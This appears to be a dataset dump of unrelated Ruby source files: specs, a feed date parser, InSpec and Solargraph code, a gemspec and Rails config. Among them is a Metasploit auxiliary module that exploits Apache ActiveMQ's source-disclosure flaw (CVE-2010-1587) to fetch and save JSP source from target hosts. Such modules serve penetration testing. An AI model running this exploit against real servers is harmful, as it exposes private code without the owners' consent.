def paranoid_field
field = Paranoia.configuration.paranoid_field
embedded? ? "#{atomic_position}.#{field}" : field
end
# @return [ Object ] Update result.
#
def _paranoia_update(value)
paranoid_collection.find(atomic_selector).update_one(value)
end
end
end
| 26.269608 | 84 | 0.635007 |
01220dcd33609598ca3038351368cffcd0ba03dd | 2,250 | require 'securerandom'
RSpec.shared_context :integration_test_context do
subject(:client) do
ThreeScale::API.new(endpoint: @endpoint, provider_key: @provider_key, verify_ssl: @verify_ssl)
end
before :context do
@endpoint = ENV.fetch('ENDPOINT')
@provider_key = ENV.fetch('PROVIDER_KEY')
@verify_ssl = !(ENV.fetch('VERIFY_SSL', 'true').to_s =~ /(true|t|yes|y|1)$/i).nil?
@apiclient = ThreeScale::API.new(endpoint: @endpoint, provider_key: @provider_key,
verify_ssl: @verify_ssl)
@service_test = @apiclient.create_service('name' => "3scalerubytest#{SecureRandom.uuid}")
account_name = SecureRandom.hex(14)
@account_test = @apiclient.signup(name: account_name, username: account_name)
@application_plan_test = @apiclient.create_application_plan(@service_test['id'], 'name' => "3scale ruby test #{SecureRandom.uuid}")
app_id = SecureRandom.hex(14)
@application_test = @apiclient.create_application(@account_test['id'],
plan_id: @application_plan_test['id'],
user_key: app_id)
@metric_test = @apiclient.create_metric(@service_test['id'],
'friendly_name' => SecureRandom.uuid, 'unit' => 'foo')
@mapping_rule_test = @apiclient.create_mapping_rule(@service_test['id'],
http_method: 'PUT',
pattern: '/',
metric_id: @metric_test['id'],
delta: 2)
@hits_metric_test = @apiclient.list_metrics(@service_test['id']).find do |metric|
metric['system_name'] == 'hits'
end
@method_test = @apiclient.create_method(@service_test['id'], @hits_metric_test['id'],
'friendly_name' => SecureRandom.uuid, 'unit' => 'bar')
end
after :context do
@apiclient.delete_application(@account_test['id'], @application_test['id'])
@apiclient.delete_service(@service_test['id'])
@apiclient.delete_account(@account_test['id'])
end
end
| 52.325581 | 135 | 0.571111 |
18d2d942abe9dbf115533edca007dce11388f0ad | 1,933 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache ActiveMQ JSP files Source Disclosure',
'Description' => %q{
This module exploits a source code disclosure in Apache ActiveMQ. The
vulnerability is due to the Jetty's ResourceHandler handling of specially crafted
URI's starting with //. It has been tested successfully on Apache ActiveMQ 5.3.1
over Windows 2003 SP2 and Ubuntu 10.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Veerendra G.G', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2010-1587' ],
[ 'OSVDB', '64020' ],
[ 'BID', '39636' ],
[ 'URL', 'https://issues.apache.org/jira/browse/AMQ-2700' ]
]
))
register_options(
[
Opt::RPORT(8161),
OptString.new('TARGETURI', [true, 'Path to the JSP file to disclose source code', '/admin/index.jsp'])
], self.class)
end
def run_host(ip)
print_status("#{rhost}:#{rport} - Sending request...")
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
})
if res and res.code == 200
contents = res.body
fname = File.basename(datastore['TARGETURI'])
path = store_loot(
'apache.activemq',
'text/plain',
ip,
contents,
fname
)
print_status("#{rhost}:#{rport} - File saved in: #{path}")
else
print_error("#{rhost}:#{rport} - Failed to retrieve file")
return
end
end
end
| 26.479452 | 106 | 0.634765 |
ab8746add10217c0ab8b27c9e5dad43a7f58f16a | 1,298 | require 'abstract_unit'
require 'active_support/log_subscriber/test_helper'
require 'action_controller/log_subscriber'
module Another
class LogSubscribersController < ActionController::Base
abstract!
self.perform_caching = true
def with_page_cache
cache_page('Super soaker', '/index.html')
render nothing: true
end
end
end
class ACLogSubscriberTest < ActionController::TestCase
tests Another::LogSubscribersController
include ActiveSupport::LogSubscriber::TestHelper
def setup
super
@routes = SharedTestRoutes
@routes.draw do
get ':controller(/:action)'
end
@cache_path = File.expand_path('../temp/test_cache', File.dirname(__FILE__))
ActionController::Base.page_cache_directory = @cache_path
@controller.cache_store = :file_store, @cache_path
ActionController::LogSubscriber.attach_to :action_controller
end
def teardown
ActiveSupport::LogSubscriber.log_subscribers.clear
FileUtils.rm_rf(@cache_path)
end
def set_logger(logger)
ActionController::Base.logger = logger
end
def test_with_page_cache
get :with_page_cache
wait
logs = @logger.logged(:info)
assert_equal 3, logs.size
assert_match(/Write page/, logs[1])
assert_match(/\/index\.html/, logs[1])
end
end
| 23.6 | 80 | 0.736518 |
3930bd438ca2973b6f8649b4a9c32c05634d9226 | 16,021 | #!/usr/bin/env ruby
# -*- coding: utf-8 -*-
require 'time'
module FeedParser
class FeedTimeParser
@@date_handlers = [:parse_date_rfc822,
:parse_date_hungarian, :parse_date_greek,:parse_date_mssql,
:parse_date_nate,:parse_date_onblog,:parse_date_w3dtf,:parse_date_iso8601
]
class << self
# ISO-8601 date parsing routines written by Fazal Majid.
# The ISO 8601 standard is very convoluted and irregular - a full ISO 8601
# parser is beyond the scope of feedparser and the current Time.iso8601
# method does not work.
# A single regular expression cannot parse ISO 8601 date formats into groups
# as the standard is highly irregular (for instance is 030104 2003-01-04 or
# 0301-04-01), so we use templates instead.
# Please note the order in templates is significant because we need a
# greedy match.
def parse_date_iso8601(dateString)
# Parse a variety of ISO-8601-compatible formats like 20040105
# What I'm about to show you may be the ugliest code in all of
# rfeedparser.
# FIXME The century regexp maybe not work ('\d\d$' says "two numbers at
# end of line" but we then attach more of a regexp.
iso8601_regexps = [ '^(\d{4})-?([01]\d)-([0123]\d)',
'^(\d{4})-([01]\d)',
'^(\d{4})-?([0123]\d\d)',
'^(\d\d)-?([01]\d)-?([0123]\d)',
'^(\d\d)-?([0123]\d\d)',
'^(\d{4})',
'-(\d\d)-?([01]\d)',
'-([0123]\d\d)',
'-(\d\d)',
'--([01]\d)-?([0123]\d)',
'--([01]\d)',
'---([0123]\d)',
'(\d\d$)',
'' ]
iso8601_values = { '^(\d{4})-?([01]\d)-([0123]\d)' => ['year', 'month', 'day'],
'^(\d{4})-([01]\d)' => ['year','month'],
'^(\d{4})-?([0123]\d\d)' => ['year', 'ordinal'],
'^(\d\d)-?([01]\d)-?([0123]\d)' => ['year','month','day'],
'^(\d\d)-?([0123]\d\d)' => ['year','ordinal'],
'^(\d{4})' => ['year'],
'-(\d\d)-?([01]\d)' => ['year','month'],
'-([0123]\d\d)' => ['ordinal'],
'-(\d\d)' => ['year'],
'--([01]\d)-?([0123]\d)' => ['month','day'],
'--([01]\d)' => ['month'],
'---([0123]\d)' => ['day'],
'(\d\d$)' => ['century'],
'' => [] }
add_to_all = '(T?(\d\d):(\d\d)(?::(\d\d))?([+-](\d\d)(?::(\d\d))?|Z)?)?'
add_to_all_fields = ['hour', 'minute', 'second', 'tz', 'tzhour', 'tzmin']
# NOTE We use '(?:' to prevent grouping of optional matches (ones trailed
# by '?'). The second ':' *are* matched.
m = nil
param_keys = []
iso8601_regexps.each do |s|
$stderr << "Trying iso8601 regexp: #{s+add_to_all}\n" if $debug
param_keys = iso8601_values[s] + add_to_all_fields
m = dateString.match(Regexp.new(s+add_to_all))
break if m
end
return if m.nil? || (m.begin(0).zero? && m.end(0).zero?)
param_values = m.to_a
param_values = param_values[1..-1]
params = {}
param_keys.each_with_index do |key,i|
params[key] = param_values[i]
end
ordinal = params['ordinal'].to_i unless params['ordinal'].nil?
year = params['year'] || '--'
if year.nil? || year.empty? || year == '--' # FIXME When could the regexp ever return a year equal to '--'?
year = Time.now.utc.year
elsif year.length == 2
# ISO 8601 assumes current century, i.e. 93 -> 2093, NOT 1993
year = 100 * (Time.now.utc.year / 100) + year.to_i
else
year = year.to_i
end
month = params['month'] || '-'
if month.nil? || month.empty? || month == '-'
# ordinals are NOT normalized by mktime, we simulate them
# by setting month=1, day=ordinal
if ordinal
month = DateTime.ordinal(year,ordinal).month
else
month = Time.now.utc.month
end
end
month = month.to_i unless month.nil?
day = params['day']
if day.nil? || day.empty?
# see above
if ordinal
day = DateTime.ordinal(year,ordinal).day
elsif params['century'] || params['year'] || params['month']
day = 1
else
day = Time.now.utc.day
end
else
day = day.to_i
end
# special case of the century - is the first year of the 21st century
# 2000 or 2001 ? The debate goes on...
if params.has_key? 'century'
year = (params['century'].to_i - 1) * 100 + 1
end
# in ISO 8601 most fields are optional
hour = params['hour'].to_i
minute = params['minute'].to_i
second = params['second'].to_i
weekday = nil
# daylight savings is complex, but not needed for feedparser's purposes
# as time zones, if specified, include mention of whether it is active
# (e.g. PST vs. PDT, CET). Using -1 is implementation-dependent and
# and most implementations have DST bugs
tm = [second, minute, hour, day, month, year, nil, ordinal, false, nil]
tz = params['tz']
if tz && ! tz.empty? && tz != 'Z'
# FIXME does this cross over days?
if tz[0] == '-'
tm[3] += params['tzhour'].to_i
tm[4] += params['tzmin'].to_i
elsif tz[0] == '+'
tm[3] -= params['tzhour'].to_i
tm[4] -= params['tzmin'].to_i
else
return nil
end
end
return Time.utc(*tm) # Magic!
end
def parse_date_onblog(dateString)
# Parse a string according to the OnBlog 8-bit date format
# 8-bit date handling routes written by ytrewq1
korean_year = u("년") # b3e2 in euc-kr
korean_month = u("월") # bff9 in euc-kr
korean_day = u("일") # c0cf in euc-kr
korean_onblog_date_re = /(\d{4})#{korean_year}\s+(\d{2})#{korean_month}\s+(\d{2})#{korean_day}\s+(\d{2}):(\d{2}):(\d{2})/
m = korean_onblog_date_re.match(dateString)
w3dtfdate = "#{m[1]}-#{m[2]}-#{m[3]}T#{m[4]}:#{m[5]}:#{m[6]}+09:00"
$stderr << "OnBlog date parsed as: %s\n" % w3dtfdate if $debug
return parse_date_w3dtf(w3dtfdate)
end
def parse_date_nate(dateString)
# Parse a string according to the Nate 8-bit date format
# 8-bit date handling routes written by ytrewq1
korean_am = u("오전") # bfc0 c0fc in euc-kr
korean_pm = u("오후") # bfc0 c8c4 in euc-kr
korean_nate_date_re = /(\d{4})-(\d{2})-(\d{2})\s+(#{korean_am}|#{korean_pm})\s+(\d{0,2}):(\d{0,2}):(\d{0,2})/
m = korean_nate_date_re.match(dateString)
hour = m[5].to_i
ampm = m[4]
if ampm == korean_pm
hour += 12
end
hour = hour.to_s.rjust(2,'0')
w3dtfdate = "#{m[1]}-#{m[2]}-#{m[3]}T#{hour}:#{m[6]}:#{m[7]}+09:00"
$stderr << "Nate date parsed as: %s\n" % w3dtfdate if $debug
return parse_date_w3dtf(w3dtfdate)
end
def parse_date_mssql(dateString)
mssql_date_re = /(\d{4})-(\d{2})-(\d{2})\s+(\d{2}):(\d{2}):(\d{2})(\.\d+)?/
m = mssql_date_re.match(dateString)
w3dtfdate = "#{m[1]}-#{m[2]}-#{m[3]}T#{m[4]}:#{m[5]}:#{m[6]}+09:00"
$stderr << "MS SQL date parsed as: %s\n" % w3dtfdate if $debug
return parse_date_w3dtf(w3dtfdate)
end
def parse_date_greek(dateString)
# Parse a string according to a Greek 8-bit date format
# Unicode strings for Greek date strings
greek_months = {
u("Ιαν") => u("Jan"), # c9e1ed in iso-8859-7
u("Φεβ") => u("Feb"), # d6e5e2 in iso-8859-7
u("Μάώ") => u("Mar"), # ccdcfe in iso-8859-7
u("Μαώ") => u("Mar"), # cce1fe in iso-8859-7
u("Απρ") => u("Apr"), # c1f0f1 in iso-8859-7
u("Μάι") => u("May"), # ccdce9 in iso-8859-7
u("Μαϊ") => u("May"), # cce1fa in iso-8859-7
u("Μαι") => u("May"), # cce1e9 in iso-8859-7
u("Ιούν") => u("Jun"), # c9effded in iso-8859-7
u("Ιον") => u("Jun"), # c9efed in iso-8859-7
u("Ιούλ") => u("Jul"), # c9effdeb in iso-8859-7
u("Ιολ") => u("Jul"), # c9f9eb in iso-8859-7
u("Αύγ") => u("Aug"), # c1fde3 in iso-8859-7
u("Αυγ") => u("Aug"), # c1f5e3 in iso-8859-7
u("Σεπ") => u("Sep"), # d3e5f0 in iso-8859-7
u("Οκτ") => u("Oct"), # cfeaf4 in iso-8859-7
u("Νοέ") => u("Nov"), # cdefdd in iso-8859-7
u("Νοε") => u("Nov"), # cdefe5 in iso-8859-7
u("Δεκ") => u("Dec"), # c4e5ea in iso-8859-7
}
greek_wdays = {
u("Κυρ") => u("Sun"), # caf5f1 in iso-8859-7
u("Δευ") => u("Mon"), # c4e5f5 in iso-8859-7
u("Τρι") => u("Tue"), # d4f1e9 in iso-8859-7
u("Τετ") => u("Wed"), # d4e5f4 in iso-8859-7
u("Πεμ") => u("Thu"), # d0e5ec in iso-8859-7
u("Παρ") => u("Fri"), # d0e1f1 in iso-8859-7
u("Σαβ") => u("Sat"), # d3e1e2 in iso-8859-7
}
greek_date_format = /([^,]+),\s+(\d{2})\s+([^\s]+)\s+(\d{4})\s+(\d{2}):(\d{2}):(\d{2})\s+([^\s]+)/
m = greek_date_format.match(dateString)
wday = greek_wdays[m[1]]
month = greek_months[m[3]]
rfc822date = "#{wday}, #{m[2]} #{month} #{m[4]} #{m[5]}:#{m[6]}:#{m[7]} #{m[8]}"
$stderr << "Greek date parsed as: #{rfc822date}\n" if $debug
return parse_date_rfc822(rfc822date)
end
def parse_date_hungarian(dateString)
# Parse a string according to a Hungarian 8-bit date format.
hungarian_date_format_re = /(\d{4})-([^-]+)-(\d{0,2})T(\d{0,2}):(\d{2})((\+|-)(\d{0,2}:\d{2}))/
m = hungarian_date_format_re.match(dateString)
# Unicode strings for Hungarian date strings
hungarian_months = {
u("január") => u("01"), # e1 in iso-8859-2
u("februári") => u("02"), # e1 in iso-8859-2
u("március") => u("03"), # e1 in iso-8859-2
u("április") => u("04"), # e1 in iso-8859-2
u("máujus") => u("05"), # e1 in iso-8859-2
u("június") => u("06"), # fa in iso-8859-2
u("július") => u("07"), # fa in iso-8859-2
u("augusztus") => u("08"),
u("szeptember") => u("09"),
u("október") => u("10"), # f3 in iso-8859-2
u("november") => u("11"),
u("december") => u("12"),
}
month = hungarian_months[m[2]]
day = m[3].rjust(2,'0')
hour = m[4].rjust(2,'0')
w3dtfdate = "#{m[1]}-#{month}-#{day}T#{hour}:#{m[5]}:00#{m[6]}"
$stderr << "Hungarian date parsed as: #{w3dtfdate}\n" if $debug
return parse_date_w3dtf(w3dtfdate)
end
def rollover(num, modulus)
return num % modulus, num / modulus
end
def set_self(num, modulus)
r = num / modulus
if r == 0
return num
end
return r
end
# W3DTF-style date parsing
def parse_date_w3dtf(dateString)
# Ruby's Time docs claim w3cdtf is an alias for iso8601 which is an alias for xmlschema
# Whatever it is, it doesn't work. This has been fixed in Ruby 1.9 and
# in Ruby on Rails, but not really. They don't fix the 25 hour or 61 minute or 61 second rollover and fail in other ways.
m = dateString.match(/^(\d{4})-?(?:(?:([01]\d)-?(?:([0123]\d)(?:T(\d\d):(\d\d):(\d\d)(?:\.\d+)?([+-]\d\d:\d\d|Z))?)?)?)?/)
w3 = m[1..3].map{|s| s=s.to_i; s += 1 if s == 0;s} # Map the year, month and day to integers and, if they were nil, set them to 1
w3 += m[4..6].map{|s| s.to_i} # Map the hour, minute and second to integers
w3 << m[-1] # Leave the timezone as a String
# FIXME this next bit needs some serious refactoring
# Rollover times. 0 minutes and 61 seconds -> 1 minute and 1 second
w3[5],r = rollover(w3[5], 60) # rollover seconds
w3[4] += r
w3[4],r = rollover(w3[4], 60) # rollover minutes
w3[3] += r
w3[3],r = rollover(w3[3], 24) # rollover hours
w3[2] = w3[2] + r
if w3[1] > 12
w3[1],r = rollover(w3[1],12)
w3[1] = 12 if w3[1] == 0
w3[0] += r
end
num_days = Time.days_in_month(w3[1], w3[0])
while w3[2] > num_days
w3[2] -= num_days
w3[1] += 1
if w3[1] > 12
w3[0] += 1
w3[1] = set_self(w3[1], 12)
end
num_days = Time.days_in_month(w3[1], w3[0])
end
unless w3[6].class != String
if /^-/ =~ w3[6] # Zone offset goes backwards
w3[6][0] = '+'
elsif /^\+/ =~ w3[6]
w3[6][0] = '-'
end
end
return Time.utc(w3[0], w3[1], w3[2] , w3[3], w3[4], w3[5])+Time.zone_offset(w3[6] || "UTC")
end
def parse_date_rfc822(dateString)
# Parse an RFC822, RFC1123, RFC2822 or asctime-style date
# These first few lines are to fix up the stupid proprietary format from Disney
unknown_timezones = { 'AT' => 'EDT', 'ET' => 'EST',
'CT' => 'CST', 'MT' => 'MST',
'PT' => 'PST'
}
mon = dateString.split[2]
if mon.length > 3 && Time::RFC2822_MONTH_NAME.include?(mon[0..2])
dateString.sub!(mon,mon[0..2])
end
if dateString[-3..-1] != "GMT" && unknown_timezones[dateString[-2..-1]]
dateString[-2..-1] = unknown_timezones[dateString[-2..-1]]
end
# Okay, the Disney date format should be fixed up now.
rfc_tz = '([A-Za-z]{3}|[\+\-]?\d\d\d\d)'
rfc = dateString.match(/([A-Za-z]{3}), ([0123]\d) ([A-Za-z]{3}) (\d{4})( (\d\d):(\d\d)(?::(\d\d))? #{rfc_tz})?/)
if rfc.to_a.length > 1 && rfc.to_a.include?(nil)
dow, day, mon, year, hour, min, sec, tz = rfc[1..-1]
hour,min,sec = [hour,min,sec].map{|e| e.to_s.rjust(2,'0') }
tz ||= "GMT"
end
asctime_match = dateString.match(/([A-Za-z]{3}) ([A-Za-z]{3}) (\d?\d) (\d\d):(\d\d):(\d\d) ([A-Za-z]{3}) (\d\d\d\d)/).to_a
if asctime_match.to_a.length > 1
# Month-abbr dayofmonth hour:minute:second year
dow, mon, day, hour, min, sec, tz, year = asctime_match[1..-1]
day.to_s.rjust(2,'0')
end
if (rfc.to_a.length > 1 && rfc.to_a.include?(nil)) || asctime_match.to_a.length > 1
ds = "#{dow}, #{day} #{mon} #{year} #{hour}:#{min}:#{sec} #{tz}"
else
ds = dateString
end
t = Time.rfc2822(ds).utc
return t
end
def parse_date_perforce(aDateString) # FIXME not in 4.1?
# Parse a date in yyyy/mm/dd hh:mm:ss TTT format
# Note that there is a day of the week at the beginning
# Ex. Fri, 2006/09/15 08:19:53 EDT
return Time.parse(aDateString).utc
end
def extract_tuple(atime)
return unless atime
# NOTE leave the error handling to parse_date
t = [atime.year, atime.month, atime.mday, atime.hour,
atime.min, atime.sec, (atime.wday-1) % 7, atime.yday,
atime.isdst
]
# yay for modulus! yaaaaaay! its 530 am and i should be sleeping! yaay!
t[0..-2].map!{|s| s.to_i}
t[-1] = t[-1] ? 1 : 0
return t
end
def parse_date(dateString)
@@date_handlers.each do |handler|
begin
$stderr << "Trying date_handler #{handler}\n" if $debug
datething = send(handler,dateString)
return datething
rescue => e
$stderr << "#{handler} raised #{e}\n" if $debug
end
end
return nil
end
end
end
end
| 39.171149 | 138 | 0.498159 |
f739aa3634f3f4c9471813926fceb6918af0c9f3 | 3,438 | # frozen_string_literal: false
# ----------------------------------------------------------------------------
#
# *** AUTO GENERATED CODE *** AUTO GENERATED CODE ***
#
# ----------------------------------------------------------------------------
#
# This file is automatically generated by Magic Modules and manual
# changes will be clobbered when the file is regenerated.
#
# Please read more about how to change this file in README.md and
# CONTRIBUTING.md located at the root of this package.
#
# ----------------------------------------------------------------------------
require 'gcp_backend'
class BigQueryDatasets < GcpResourceBase
name 'google_bigquery_datasets'
desc 'Dataset plural resource'
supports platform: 'gcp'
attr_reader :table
filter_table_config = FilterTable.create
filter_table_config.add(:dataset_references, field: :dataset_reference)
filter_table_config.add(:default_partition_expiration_ms, field: :default_partition_expiration_ms)
filter_table_config.add(:etags, field: :etag)
filter_table_config.add(:friendly_names, field: :friendly_name)
filter_table_config.add(:ids, field: :id)
filter_table_config.add(:labels, field: :labels)
filter_table_config.add(:locations, field: :location)
filter_table_config.add(:default_encryption_configurations, field: :default_encryption_configuration)
filter_table_config.connect(self, :table)
def initialize(params = {})
super(params.merge({ use_http_transport: true }))
@params = params
@table = fetch_wrapped_resource('datasets')
end
def fetch_wrapped_resource(wrap_path)
# fetch_resource returns an array of responses (to handle pagination)
result = @connection.fetch_all(product_url, resource_base_url, @params, 'Get')
return if result.nil?
# Conversion of string -> object hash to symbol -> object hash that InSpec needs
converted = []
result.each do |response|
next if response.nil? || !response.key?(wrap_path)
response[wrap_path].each do |hash|
hash_with_symbols = {}
hash.each_key do |key|
name, value = transform(key, hash)
hash_with_symbols[name] = value
end
converted.push(hash_with_symbols)
end
end
converted
end
def transform(key, value)
return transformers[key].call(value) if transformers.key?(key)
[key.to_sym, value]
end
def transformers
{
'datasetReference' => ->(obj) { return :dataset_reference, GoogleInSpec::BigQuery::Property::DatasetDatasetReference.new(obj['datasetReference'], to_s) },
'defaultPartitionExpirationMs' => ->(obj) { return :default_partition_expiration_ms, obj['defaultPartitionExpirationMs'] },
'etag' => ->(obj) { return :etag, obj['etag'] },
'friendlyName' => ->(obj) { return :friendly_name, obj['friendlyName'] },
'id' => ->(obj) { return :id, obj['id'] },
'labels' => ->(obj) { return :labels, obj['labels'] },
'location' => ->(obj) { return :location, obj['location'] },
'defaultEncryptionConfiguration' => ->(obj) { return :default_encryption_configuration, GoogleInSpec::BigQuery::Property::DatasetDefaultEncryptionConfiguration.new(obj['defaultEncryptionConfiguration'], to_s) },
}
end
private
def product_url(_ = nil)
'https://bigquery.googleapis.com/bigquery/v2/'
end
def resource_base_url
'projects/{{project}}/datasets'
end
end
| 36.574468 | 217 | 0.655032 |
e23f88f5b92b51f6899338257feec73847aa00b4 | 537 | require 'bundler'
require 'shellwords'
module Solargraph
class ApiMap
module BundlerMethods
module_function
def require_from_bundle directory
@require_from_bundle ||= begin
Solargraph.logger.info "Loading gems for bundler/require"
Documentor.specs_from_bundle(directory)
rescue BundleNotFoundError => e
Solargraph.logger.warn e.message
{}
end
end
def reset_require_from_bundle
@require_from_bundle = nil
end
end
end
end
| 21.48 | 67 | 0.659218 |
d552cd6ef94e001f41fa720fa5828eb792caf091 | 2,909 | #
# Unit tests for aodh::keystone::auth
#
require 'spec_helper'
describe 'aodh::keystone::auth' do
shared_examples_for 'aodh::keystone::auth' do
context 'with default class parameters' do
let :params do
{ :password => 'aodh_password' }
end
it { is_expected.to contain_keystone__resource__service_identity('aodh').with(
:configure_user => true,
:configure_user_role => true,
:configure_endpoint => true,
:service_name => 'aodh',
:service_type => 'alarming',
:service_description => 'OpenStack Alarming Service',
:region => 'RegionOne',
:auth_name => 'aodh',
:password => 'aodh_password',
:email => 'aodh@localhost',
:tenant => 'services',
:public_url => 'http://127.0.0.1:8042',
:internal_url => 'http://127.0.0.1:8042',
:admin_url => 'http://127.0.0.1:8042',
) }
end
context 'when overriding parameters' do
let :params do
{ :password => 'aodh_password',
:auth_name => 'alt_aodh',
:email => 'alt_aodh@alt_localhost',
:tenant => 'alt_service',
:configure_endpoint => false,
:configure_user => false,
:configure_user_role => false,
:service_description => 'Alternative OpenStack Alarming Service',
:service_name => 'alt_service',
:service_type => 'alt_alarming',
:region => 'RegionTwo',
:public_url => 'https://10.10.10.10:80',
:internal_url => 'http://10.10.10.11:81',
:admin_url => 'http://10.10.10.12:81' }
end
it { is_expected.to contain_keystone__resource__service_identity('aodh').with(
:configure_user => false,
:configure_user_role => false,
:configure_endpoint => false,
:service_name => 'alt_service',
:service_type => 'alt_alarming',
:service_description => 'Alternative OpenStack Alarming Service',
:region => 'RegionTwo',
:auth_name => 'alt_aodh',
:password => 'aodh_password',
:email => 'alt_aodh@alt_localhost',
:tenant => 'alt_service',
:public_url => 'https://10.10.10.10:80',
:internal_url => 'http://10.10.10.11:81',
:admin_url => 'http://10.10.10.12:81',
) }
end
end
on_supported_os({
:supported_os => OSDefaults.get_supported_os
}).each do |os,facts|
context "on #{os}" do
let (:facts) do
facts.merge!(OSDefaults.get_facts())
end
it_behaves_like 'aodh::keystone::auth'
end
end
end
| 35.91358 | 84 | 0.515641 |
331eaa7bdffafcf1d0af04d3f071e125b89a1205 | 343 | unless Rails.env.production?
require "cucumber/rake/task"
namespace :cucumber do
Cucumber::Rake::Task.new(:ok, "Run features that should pass") do |t|
t.fork = true # You may get faster startup if you set this to false
t.profile = "default"
end
end
desc "Alias for cucumber:ok"
task cucumber: "cucumber:ok"
end
| 24.5 | 73 | 0.6793 |
5d28843ae31ec618fb023c46411a5a1cb0fd8b5a | 176 | class ChangeTagIsTaxanomicToIsTaxonomic < ActiveRecord::Migration[6.0]
def change
change_table :tags do |t|
t.rename :is_taxanomic, :is_taxonomic
end
end
end
| 22 | 70 | 0.732955 |
b92c4fe1131a2e58839da118b6be73c77fd2d410 | 2,833 | # frozen_string_literal: true
RSpec.describe "Defining custom macros" do
subject(:contract) do
contract_class.new
end
subject(:contract_class) do
Class.new(Test::BaseContract) do
schema do
required(:numbers).array(:integer)
end
end
end
before do
class Test::BaseContract < Dry::Validation::Contract; end
end
context "using a macro without options" do
shared_context "a contract with a custom macro" do
before do
contract_class.rule(:numbers).validate(:even_numbers)
end
it "succeeds with valid input" do
expect(contract.(numbers: [2, 4, 6])).to be_success
end
it "fails with invalid input" do
expect(contract.(numbers: [1, 2, 3]).errors.to_h).to eql(numbers: ["all numbers must be even"])
end
end
context "using macro from the global registry" do
before do
Dry::Validation.register_macro(:even_numbers) do
key.failure("all numbers must be even") unless values[key_name].all?(&:even?)
end
end
after do
Dry::Validation::Macros.container._container.delete("even_numbers")
end
include_context "a contract with a custom macro"
end
context "using macro from contract itself" do
before do
Test::BaseContract.register_macro(:even_numbers) do
key.failure("all numbers must be even") unless values[key_name].all?(&:even?)
end
end
after do
Test::BaseContract.macros._container.delete("even_numbers")
end
end
end
context "using a macro with options" do
before do
Test::BaseContract.register_macro(:min) do |context:, macro:|
num = macro.args[0]
key.failure("must have at least #{num} items") unless values[key_name].size >= num
end
contract_class.rule(:numbers).validate(min: 3)
end
after do
Test::BaseContract.macros._container.delete("min")
end
it "fails with invalid input" do
expect(contract.(numbers: [1]).errors.to_h)
.to eql(numbers: ["must have at least 3 items"])
end
end
context "using a macro with a range option" do
before do
Test::BaseContract.register_macro(:in_range) do |macro:|
range = macro.args[0]
all_included_in_range = value.all? { |elem| range.include?(elem) }
key.failure("every item must be included in #{range}") unless all_included_in_range
end
contract_class.rule(:numbers).validate(in_range: 1..3)
end
after do
Test::BaseContract.macros._container.delete("in_range")
end
it "succeeds with valid input" do
expect(contract.(numbers: [1, 2, 3])).to be_success
end
it "fails with invalid input" do
expect(contract.(numbers: [1, 2, 6])).to be_failure
end
end
end
| 26.231481 | 103 | 0.644899 |
f84c27b55b33bcbc2fb1ae19b66f528e156aedf4 | 368 | #
# Output rest api
#
require 'kumogata/template/helper'
_output "#{args[:name]} rest api",
ref_value: "#{args[:name]} rest api",
export: _export_string(args, "rest api")
_output "#{args[:name]} rest api root resource",
ref_value: [ "#{args[:name]} rest api", "RootResourceId" ],
export: _export_string(args, "rest api root resource")
| 30.666667 | 67 | 0.63587 |
ff1c45e373b8fd47aa6e2a3f671fc75df52def10 | 1,609 |
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "shuffles/version"
Gem::Specification.new do |spec|
spec.name = "shuffles"
spec.version = Shuffles::VERSION
spec.authors = ["Tim Gourley"]
spec.email = ["[email protected]"]
spec.summary = %q{Intelligently shuffle a Spotify playlist}
spec.description = %q{Sort by BPM and similar styles of music}
spec.homepage = "https://github.com/bratta/shuffles"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_dependency "syck", "~> 1.3.0"
spec.add_dependency "sycl", "~> 1.6"
spec.add_dependency "rspotify", "~> 2.0.0"
spec.add_development_dependency "bundler", "~> 1.16"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
spec.add_development_dependency "pry", "~> 0.11.3"
spec.add_development_dependency "pry-byebug", "~> 3.6.0"
end
| 37.418605 | 96 | 0.663766 |
e9fcedd562d6640fb4c5b8581409070865f0fbcf | 614 | module PostmanMta
class ApiClient
attr_reader :response_body, :response_status
[:get, :post, :put, :patch, :delete].each do |type|
define_method type do |url, options = {}|
perform_request(type.to_s.upcase, url, options)
end
end
private
def perform_request(request_type, path, options = {})
api_request = ::PostmanMta::ApiRequest.new(request_type, path, options)
response = api_request.perform
@response_body = response.parsed_response
@response_status = response.code
{ json: response_body, status: @response_status }
end
end
end
| 25.583333 | 77 | 0.675896 |
b96edca383e39db045c7a19c5c1e7f4807d5b70e | 544 | # Be sure to restart your server when you modify this file.
# Avoid CORS issues when API is called from the frontend app.
# Handle Cross-Origin Resource Sharing (CORS) in order to accept cross-origin AJAX requests.
# Read more: https://github.com/cyu/rack-cors
Rails.application.config.middleware.insert_before 0, Rack::Cors do
allow do
origins '*'
resource '*',
:headers => :any,
:expose => ['access-token', 'expiry', 'token-type', 'uid', 'client'],
:methods => [:get, :post, :options, :delete, :put]
end
end
| 30.222222 | 92 | 0.672794 |
114c1cb512f5b6ee228774c178194c3ba8c82cb7 | 1,171 | # Only use Lograge for Rails
unless Sidekiq.server?
filename = File.join(Rails.root, 'log', "#{Rails.env}_json.log")
Rails.application.configure do
config.lograge.enabled = true
# Store the lograge JSON files in a separate file
config.lograge.keep_original_rails_log = true
# Don't use the Logstash formatter since this requires logstash-event, an
